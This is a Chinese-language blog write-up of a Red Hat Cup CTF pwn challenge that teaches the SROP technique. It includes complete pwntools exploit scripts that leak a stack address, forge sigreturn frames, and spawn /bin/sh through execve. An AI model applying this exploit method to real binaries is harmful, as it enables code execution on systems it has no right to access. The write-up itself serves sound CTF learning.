SROP利用技术

上个周末的“红帽杯”结束了,战队成绩很不错,排名前几。不过有些题目是临时参考网上的思路解出来的,虽然得了分,但当时不是很理解。比赛完了把当时不太熟悉的题目回顾了一下,作为思路的总结和后续的参考。

本篇是针对pwn4的总结。

知道不知道是一种很让人满足的感觉,自己解出题目后,不由得感叹安全研究人员思路的巧妙。拿到PWN4后,在IDA中看了下:

 

 

程序非常简短,运行程序后会等待用户输入,将输入读取到栈顶,并从栈顶的位置取指令地址进行执行。

这道题目的利用技术为SROP,SROP网上已经有比较好的介绍文章了,如下:

http://www.freebuf.com/articles/network/87447.html

其主要思路是利用信号处理函数结束时,内核在恢复进程上下文时,需要从栈上取Signal Frame来恢复寄存器,由于栈上内容是我们可以控制的,因此可以利用这个过程,人为的操作Signal Frame,进而达到操作寄存器的目的。

首先我们需要知道间接系统调用下的几个系统调用号,如下:

系统调用

调用号

函数原型

read

0

read(int fd, void *buf, size_t count)

write

1

write(int fd, const void *buf, size_t count)

sigreturn

15

int sigreturn(...)

execve

59

execve(const char *filename, char *const argv[],char *const envp[])

由于我们可以控制ret后指令的地址(栈顶内容),因此我们可以将ret后的指令地址指向程序的起始位置处,达到重复多次输入的目的。

另外需要了解的知识点是,x86子程序的返回值是保存在rax中的,而在执行系统调用的时候,系统调用号也是保存在rax中的,因此我们可以利用这个特性,输入特定字节的内容,然后执行系统调用,就可以调用我们想要执行的函数了。

为了获得flag,我们最终的目的还是要建立一个shell,所以我们希望通过调用execve来执行/bin/sh,由于这个程序非常的简短,没有其他可写的位置,我们只能选择将“/bin/sh”字符串写到栈上去。

0x01 泄露栈地址

在动态调试的过程中,我们发现栈上保存了很多栈的地址:

 

 

因此如果能够将栈打印出来,我们是可以从中取到栈上的地址的,进而可以获得一个可以读写的地址。

我们可以构造一段负载,在程序读取这段负载后,可以继续接收输入,此时我们再输入1个字节,在输入结束后,执行系统调用,此时系统调用号为1,将调用write(),如果我们将write()函数的第2个参数指向栈,就可以打印栈上内容了。

因此我们实际的调用应该是write(标准输出,栈上地址,长度),对应的参数分别存放于rdi, rsi, rdx中,我们看看这三个寄存器如何赋值:

Rdi - 可以通过指令“00000000004000BB mov     rdi, rax”进行赋值,此时rax恰好为1

Rsi – 可以通过指令“00000000004000B8 mov     rsi, rsp”进行赋值,在read过程中已经指向栈上了

Rdx – 可以通过指令“00000000004000B3 mov     edx, 400h”进行赋值,在read过程中已经赋值为400h了

因此我们在输入结束时,从00000000004000BB处开始执行,即可对rdi进行赋值,然后执行系统调用,然后返回。

我们来构造第一个输入,该输入结束后,我们期待栈的布局是这样的:

 

 

这样,在我们第一个输入结束后,程序会再次等待输入,此时我们输入1个字节后,将会开始执行syscall,此时write()将会被调用。需要注意的是,我们新的输入不能破坏栈上的内容,这个很容易做到,因为之前栈上的内容就是我们构造的。

泄露栈上地址的代码如下:

#!/usr/bin/python2
#-*- coding: utf-8 -*-

from pwn import *

context(os="linux", arch="amd64")

p = process("./pwn4")
read_ret 		= 0x00000000004000B0
rdi_syscall_ret = 0x00000000004000BB
syscall_ret 	= 0x00000000004000BE


#leak an address on stack
payload = 	p64(read_ret)
payload += 	p64(rdi_syscall_ret)
payload +=	p64(read_ret)

p.send(payload)

p.send(payload[8:9])

response = p.recv(24)
stackaddr = u64(response[16:24])
print "leaked stack addr:" + hex(stackaddr)
p.recv()
#This address is to be written
stackaddr = stackaddr & 0xFFFFFFFFFFFFF000

 经过这个步骤,我们得到了一个栈上可读写的地址,保存在stackaddr中,同时程序在等待我们再次输入。

0x02 将rsp指向可写地址

前面提到,在信号处理结束后,内核会从栈上取出Signal Frame,并从中恢复各个寄存器。为了使rsp指向stackaddr,我们需要在栈上构造一个Signal Frame,并且执行sigreturn系统调用。

这个Signal Frame关键的寄存器应该设置如下:

rsp = stackaddr

rip = syscall_ret

同样我们需要构造两次输入。我们希望在第一次输入后,栈的布局是这样的:

这样程序会在我们输入后,再次等待我们输入,如果我们再次输入15个字符,则输入结束后,会执行syscall来调用sigreturn,此时会从栈上恢复各寄存器的值,恢复后,rsp指向了stackaddr,rip指向了程序的起始位置,等待用户再次输入。请记住第二次输入同样不能破坏第一次输入后形成的栈布局。

此步骤代码如下:

#Trigger sigturn to repoint rsp to stackaddr
frame = SigreturnFrame()
frame.rsp = stackaddr
frame.rip = read_ret
payload =  p64(read_ret) 
payload += p64(syscall_ret)
payload += str(frame)

p.send(payload)
#Programe is waitting for input now, we input 15 characters to trigger sigreturn
p.send(payload[8:23])

0x03 调用execve()建立shell

与第二步类似,我们希望通过sigreturn从栈上恢复Signal Frame时,将寄存器改写,从而来执行系统调用建立shell。我们同样需要两次输入,第一次输入进行栈布局,第二次输入触发sigreturn。

第一次输入后,我们希望栈的布局是这样的:

这样第一次输入后,程序会再次等待输入,此时我们输入15个字节,输入结束后,将会触发sigreturn调用,从栈上取Signal Frame恢复寄存器,我们将寄存器rax的值设置为59,rip设置为syscall_ret,将会执行execve(),该函数的参数通过rdi, rsi, rdx控制。

本步骤利用代码如下:

#Trigger sigturn to call execve("/bin/sh", NULL, NULL)
frame = SigreturnFrame()
frame.rax = 59	#execve
frame.rdi = stackaddr + 300
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

payload =  p64(read_ret) 
payload += p64(syscall_ret)
payload += str(frame)
payload += "A"*(300 - len(payload))
payload += "/bin/sh\x00"
p.send(payload)

#Programe is waitting for input now, we input 15 characters to trigger sigreturn
p.send(payload[8:23])
p.interactive()

0x04 完整利用代码

至此,完整利用代码已经完成。如下:

#!/usr/bin/python2
#-*- coding: utf-8 -*-

from pwn import *

context(os="linux", arch="amd64")

p = process("./pwn4")
read_ret 		= 0x00000000004000B0
rdi_syscall_ret = 0x00000000004000BB
syscall_ret 	= 0x00000000004000BE


#leak an address on stack
payload = 	p64(read_ret)
payload += 	p64(rdi_syscall_ret)
payload +=	p64(read_ret)

p.send(payload)

p.send(payload[8:9])

response = p.recv(24)
stackaddr = u64(response[16:24])
print "leaked stack addr:" + hex(stackaddr)
p.recv()
#This address is to be written
stackaddr = stackaddr & 0xFFFFFFFFFFFFF000

#Trigger sigturn to repoint rsp to stackaddr
frame = SigreturnFrame()
frame.rsp = stackaddr
frame.rip = read_ret
payload =  p64(read_ret) 
payload += p64(syscall_ret)
payload += str(frame)

p.send(payload)
#Programe is waitting for input now, we input 15 characters to trigger sigreturn
p.send(payload[8:23])

#Trigger sigturn to call execve("/bin/sh", NULL, NULL)
frame = SigreturnFrame()
frame.rax = 59	#execve
frame.rdi = stackaddr + 300
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

payload =  p64(read_ret) 
payload += p64(syscall_ret)
payload += str(frame)
payload += "A"*(300 - len(payload))
payload += "/bin/sh\x00"
p.send(payload)

#Programe is waitting for input now, we input 15 characters to trigger sigreturn
p.send(payload[8:23])
p.interactive()

运行结果:

 

posted @ 2017-05-12 11:32  gsharpsh00ter  阅读(504)  评论(0编辑  收藏  举报